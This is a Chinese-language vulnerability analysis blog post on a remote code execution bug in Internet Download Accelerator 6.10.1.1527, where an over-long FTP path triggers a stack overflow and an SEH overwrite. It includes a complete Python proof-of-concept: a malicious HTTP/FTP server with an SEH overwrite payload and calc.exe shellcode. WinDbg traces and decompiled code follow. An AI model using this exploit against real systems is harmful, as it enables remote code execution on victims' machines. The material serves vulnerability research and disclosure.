Internet Download Accelerator 6.10.1.1527 远程代码执行漏洞

作者: k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


Internet Download Accelerator是一个下载工具,在处理http下载的时候,由于对于下载的路径长度没有进行有效的检查,导致调用一个叫做strlcopy函数的时候,由于拷贝导致栈溢出,后续再次引用某指针的时候,由于指针被覆盖,进入SEH异常处理函数,通过覆盖SEH指针,导致代码执行。下面进行详细分析。

软件下载:
https://www.exploit-db.com/apps/a1d0daafa9262927c63c37edd1214fe2-idasetup.exe

PoC:

import SocketServer
import threading


# IP to listen to, needed to construct PASV response so 0.0.0.0 is not gonna work.
ip = "192.168.1.100"
ipParts = ip.split(".")
PasvResp = "("+ ipParts[0]+ "," + ipParts[1]+ "," + ipParts[2] + "," + ipParts[3] + ",151,130)"
# Run Calc.exe
buf=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")





class HTTPHandler(SocketServer.BaseRequestHandler):
    """
    The request handler class for our HTTP server.

    This is just so we don't have to provide a suspicious FTP link with long name.
    """

    def handle(self):
        # self.request is the TCP socket connected to the client
        self.data = self.request.recv(1024).strip()
        print "[*] Recieved HTTP Request"
        print "[*] Sending Redirction To FTP"
        # just send back the same data, but upper-cased
    # SEH Offset 336 - 1056 bytes for the payload - 0x10011b53 unzip32.dll ppr 0x0c
    payload = "ftp://192.168.1.100/"+ 'A' * 336 + "\xeb\x06\x90\x90" + "\x53\x1b\x01\x10" + buf + "B" * (1056 - len(buf))
    self.request.sendall("HTTP/1.1 302 Found\r\n" +
    "Host: Server\r\nConnection: close\r\nLocation: "+ 
    payload+
    "\r\nContent-type: text/html; charset=UTF-8\r\n\r\n")
    print "[*] Redirection Sent..."

class FTPHandler(SocketServer.BaseRequestHandler):
    """
    The request handler class for our FTP server.

    This will work normally and open a data connection with IDA.
    """

    def handle(self):
        # User Command
    self.request.sendall("220 Nasty FTP Server Ready\r\n")
    User = self.request.recv(1024).strip()
        print "[*] Recieved User Command: " + User
    self.request.sendall("331 User name okay, need password\r\n")   
    # PASS Command
        Pass = self.request.recv(1024).strip()
        print "[*] Recieved PASS Command: " + Pass
    self.request.sendall("230-Password accepted.\r\n230 User logged in.\r\n")
        # SYST Command
    Syst = self.request.recv(1024).strip()
        print "[*] Recieved SYST Command: " + Syst
    self.request.sendall("215 UNIX Type: L8\r\n")
    # TYPE Command
    Type = self.request.recv(1024).strip()
    print "[*] Recieved Type Command: " + Type
    self.request.sendall("200 Type set to I\r\n")
    # REST command
    Rest = self.request.recv(1024).strip()
    print "[*] Recieved Rest Command: " + Rest
    self.request.sendall("200 OK\r\n")
    # CWD command
    Cwd = self.request.recv(2048).strip()
    print "[*] Recieved CWD Command: " + Cwd
    self.request.sendall("250 CWD Command successful\r\n")
    
    # PASV command.
    Pasv = self.request.recv(1024).strip()
    print "[*] Recieved PASV Command: " + Pasv
    self.request.sendall("227 Entering Passive Mode " + PasvResp + "\r\n")

    #LIST   
    List = self.request.recv(1024).strip()
    print "[*] Recieved LIST Command: " + List
    self.request.sendall("150 Here comes the directory listing.\r\n226 Directory send ok.\r\n")
    
    


class FTPDataHandler(SocketServer.BaseRequestHandler):
    """
    The request handler class for our FTP Data connection.

    This will send useless response and close the connection to trigger the error.
    """

    def handle(self):
        # self.request is the TCP socket connected to the client
        print "[*] Recieved FTP-Data Request"
        print "[*] Sending Empty List"
        # just send back the same data, but upper-cased
    self.request.sendall("total 0\r\n\r\n")
    self.request.close()


if __name__ == "__main__":
    HOST, PORT = ip, 8000
    SocketServer.TCPServer.allow_reuse_address = True

    print "[*] Starting the HTTP Server."
    # Create the server, binding to localhost on port 8000
    HTTPServer = SocketServer.TCPServer((HOST, PORT), HTTPHandler)

    # Running the http server (using a thread so we can continue and listen for FTP and FTP-Data).
    HTTPThread = threading.Thread(target=HTTPServer.serve_forever)
    HTTPThread.daemon = True
    HTTPThread.start()
    
    print "[*] Starting the FTP Server."
    # Running the FTP server.
    FTPServer = SocketServer.TCPServer((HOST, 21), FTPHandler)

    # Running the FTP server thread.
    FTPThread = threading.Thread(target=FTPServer.serve_forever)
    FTPThread.daemon = True
    FTPThread.start()

    print "[*] Opening the data connection."
    # Opening the FTP data connection - DON'T CHANGE THE PORT.
    FTPData = SocketServer.TCPServer((HOST, 38786), FTPHandler)

    # Running the FTP Data connection Thread.
    DataThread = threading.Thread(target=FTPData.serve_forever)
    DataThread.daemon = True
    DataThread.start()

    print "[*] Listening for FTP Data."
    # Making the main thread wait.
    print "[*] To exit the script please press any key at any time."
    raw_input()

漏洞复现


首先,运行PoC,会开启一个web端口监听,之后用IDA输入http的路径,会自动开始下载异常网络路径的PoC文件,引发崩溃。

(a48.a34): Access violation - code c0000005 (!!! second chance !!!)
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055b0 esp=0012f990 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\IDA\ida.exe - 
ida+0x55b0:
004055b0 8b40fc          mov     eax,dword ptr [eax-4] ds:0023:06eb413d=????????

回溯堆栈调用。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fb98 41414141 41414141 06eb4141 1b539090 ida+0x55b0
0012fb9c 41414141 06eb4141 1b539090 f6311001 0x41414141

既然覆盖到了SEH,那么回溯的情况都已不可见,在分析的时候,就从recv函数入手,在接收到数据时中断。


漏洞分析


首先在recv下断点,会多次命中,直接gu执行到返回,查看接收的数据,保存在esi指针中。

0:000> g
Breakpoint 0 hit
eax=00000520 ebx=0000003f ecx=00000408 edx=004398d0 esi=01a41b18 edi=019b5c58
eip=712017a8 esp=0012fccc ebp=0012fd28 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
wsock32!recv:
712017a8 8bff            mov     edi,edi
0:000> gu
eax=0000003f ebx=0000003f ecx=04024ec8 edx=775a70f4 esi=01a41b18 edi=019b5c58
eip=004a3b74 esp=0012fce0 ebp=0012fd28 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ida+0xa3b74:
004a3b74 8945f8          mov     dword ptr [ebp-8],eax ss:0023:0012fd20=00000000
0:000> dc esi
01a41b18  20303531 65726548 6d6f6320 74207365  150 Here comes t
01a41b28  64206568 63657269 79726f74 73696c20  he directory lis
01a41b38  676e6974 320a0d2e 44203632 63657269  ting...226 Direc
01a41b48  79726f74 6e657320 6b6f2064 000a0d2e  tory send ok....

确实接收到的内容是我们构造PoC返回的内容,接下来跟踪过程中,会发现执行到地址是4a042a地址位置的时候,会进行一处call调用,这个调用会多次命中。

0:000> p
eax=00000000 ebx=7ffd7000 ecx=0012ff70 edx=0012ff54 esi=00000000 edi=00000000
eip=004a0427 esp=0012ff48 ebp=0012ff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ida+0xa0427:
004a0427 8b45fc          mov     eax,dword ptr [ebp-4] ss:0023:0012ff6c=01a30d00
0:000> p
eax=01a30d00 ebx=7ffd7000 ecx=0012ff70 edx=0012ff54 esi=00000000 edi=00000000
eip=004a042a esp=0012ff48 ebp=0012ff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ida+0xa042a:
004a042a e8d1fdffff      call    ida+0xa0200 (004a0200)

其中要关注一个寄存器地址,也就是ecx,ecx存放的是一个栈地址,在最后一次执行到004a042a后,步过会到达漏洞触发的位置。

观察漏洞触发时的0012ff70这个地址空间,发现这个空间已经被覆盖成畸形字符串了,也就是栈空间被覆盖了,这时候可以通过对这个地址下内存写入断点来快速定位到漏洞发生覆盖的位置。

0:000> g
Breakpoint 2 hit
eax=0012fa00 ebx=00000582 ecx=00000010 edx=0012fa4c esi=02bd4148 edi=0012ff8c
eip=0040df15 esp=0012f984 ebp=0012fb98 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210207
ida+0xdf15:
0040df15 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> dd 12ff70
0012ff70  42424242 42424242 42424242 42424242
0012ff80  42424242 42424242 42424242 7653ed6c
0012ff90  7ffdf000 0012ffd4 775c37eb 7ffdf000
0012ffa0  74f69796 00000000 00000000 7ffdf000
0012ffb0  00000000 00000000 00000000 0012ffa0
0012ffc0  00000000 ffffffff 7757e115 03bf7a3a
0012ffd0  00000000 0012ffec 775c37be 00807238
0012ffe0  7ffdf000 00000000 00000000 00000000

这是一处典型的memcpy操作,这次拷贝会向栈地址拷贝数据,直接跟踪到当前的函数。

int __fastcall Sysutils::StrLCopy(int result, const char *a2, unsigned int a3)
{
  const char *v3; // edi@1
  unsigned int v4; // ebx@1
  char v5; // zf@1
  unsigned int v6; // ebx@6
  char *v7; // edi@6
  int v8; // ecx@6

  v3 = a2;
  v4 = a3;
  v5 = a3 == 0;
  if ( a3 )
  {
    do
    {
      if ( !a3 )
        break;
      v5 = *v3++ == 0;
      --a3;
    }
    while ( !v5 );
    if ( v5 )
      ++a3;
  }
  v6 = v4 - a3;
  qmemcpy((void *)result, a2, 4 * (v6 >> 2));
  v7 = (char *)(result + 4 * (v6 >> 2));
  v8 = v6 & 3;
  qmemcpy(v7, &a2[4 * (v6 >> 2)], v8);
  v7[v8] = 0;
  return result;
}

在这一次strcopy中,会将路径进行拷贝,而没有进行长度控制,拷贝结束后,栈地址空间会被覆盖,回到外层函数。

int __fastcall Sysutils::StrPCopy(char *a1, const int System::AnsiString)
{
  char *v2; // esi@1
  int v3; // eax@1
  const char *v4; // eax@1
  unsigned int v5; // ST00_4@1

  v2 = a1;
  v3 = unknown_libname_76(System::AnsiString);
  v4 = (const char *)System::__linkproc__ LStrToPChar(v3);
  return Sysutils::StrLCopy((int)v2, v4, v5);
}

这次strpcopy结束之后,会再次返回,在这个函数中的strlcopy已经将进行字符串拷贝,从而导致栈空间被覆盖,关键指针被覆盖。

0:000> p
eax=0000fde8 ebx=00000000 ecx=00000000 edx=0012fa4c esi=0014036a edi=0012fe6c
eip=007b463d esp=0012f9a4 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida!EXECryptor_halt+0x163a39:
007b463d 8945b4          mov     dword ptr [ebp-4Ch],eax ss:0023:0012fb4c=41414141
0:000> p
eax=0000fde8 ebx=00000000 ecx=00000000 edx=0012fa4c esi=0014036a edi=0012fe6c
eip=007b4640 esp=0012f9a4 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida!EXECryptor_halt+0x163a3c:
007b4640 8d45b8          lea     eax,[ebp-48h]
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=0012fa4c esi=0014036a edi=0012fe6c
eip=007b4643 esp=0012f9a4 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida!EXECryptor_halt+0x163a3f:
007b4643 8b550c          mov     edx,dword ptr [ebp+0Ch] ss:0023:0012fba4=06eb4141
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=007b4646 esp=0012f9a4 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida!EXECryptor_halt+0x163a42:
007b4646 e8dd98c5ff      call    ida+0xdf28 (0040df28)
0:000> t
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df28 esp=0012f9a0 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf28:
0040df28 53              push    ebx
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df29 esp=0012f99c ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf29:
0040df29 56              push    esi
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df2a esp=0012f998 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf2a:
0040df2a 51              push    ecx
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df2b esp=0012f994 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf2b:
0040df2b 8bda            mov     ebx,edx
0:000> p
eax=0012fb50 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df2d esp=0012f994 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf2d:
0040df2d 8bf0            mov     esi,eax
0:000> p
eax=0012fb50 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=0040df2f esp=0012f994 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf2f:
0040df2f 8bc3            mov     eax,ebx
0:000> p
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=0040df31 esp=0012f994 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf31:
0040df31 e87676ffff      call    ida+0x55ac (004055ac)
0:000> t
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055ac esp=0012f990 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0x55ac:
004055ac 85c0            test    eax,eax
0:000> p
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055ae esp=0012f990 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0x55ae:
004055ae 7403            je      ida+0x55b3 (004055b3)                   [br=0]
0:000> p
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055b0 esp=0012f990 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0x55b0:
004055b0 8b40fc          mov     eax,dword ptr [eax-4] ds:0023:06eb413d=????????

指针赋值引用了异常指针地址,导致了异常发生,引发了SEH异常处理,这个处罚位置处于刚才两个函数返回后又一处引用位置。

bool __fastcall sub_7B45DC(HWND a1, unsigned __int8 a2, unsigned __int8 a3, int System::AnsiString, int a5, char a6)
{
  unsigned __int8 v6; // bl@1
  HWND v7; // esi@1
  struct _NOTIFYICONDATAA Data; // [sp+8h] [bp-1ECh]@1
  char v10; // [sp+A8h] [bp-14Ch]@1
  int v11; // [sp+1A8h] [bp-4Ch]@1
  char v12; // [sp+1ACh] [bp-48h]@1
  int v13; // [sp+1ECh] [bp-8h]@1
  unsigned __int8 v14; // [sp+1F3h] [bp-1h]@1

  v14 = a3;
  v6 = a2;
  v7 = a1;
  System::__linkproc__ FillChar(&Data, 488, 0);
  Data.cbSize = 488;
  Data.hWnd = v7;
  Data.uID = v6;
  Data.uFlags = 16;
  Sysutils::StrPCopy(&v10, System::AnsiString);
  v11 = 1000 * v14;
  Sysutils::StrPCopy(&v12, a5);
  v13 = (unsigned __int8)byte_8AB510[(unsigned __int8)a6];
  Data.uCallbackMessage = 1029;
  return (unsigned int)Shell_NotifyIconA(1u, &Data) >= 1;
}

最后可以通过覆盖SEH异常处理结构的指针位置,最后引发远程代码执行。

Comments
Write a Comment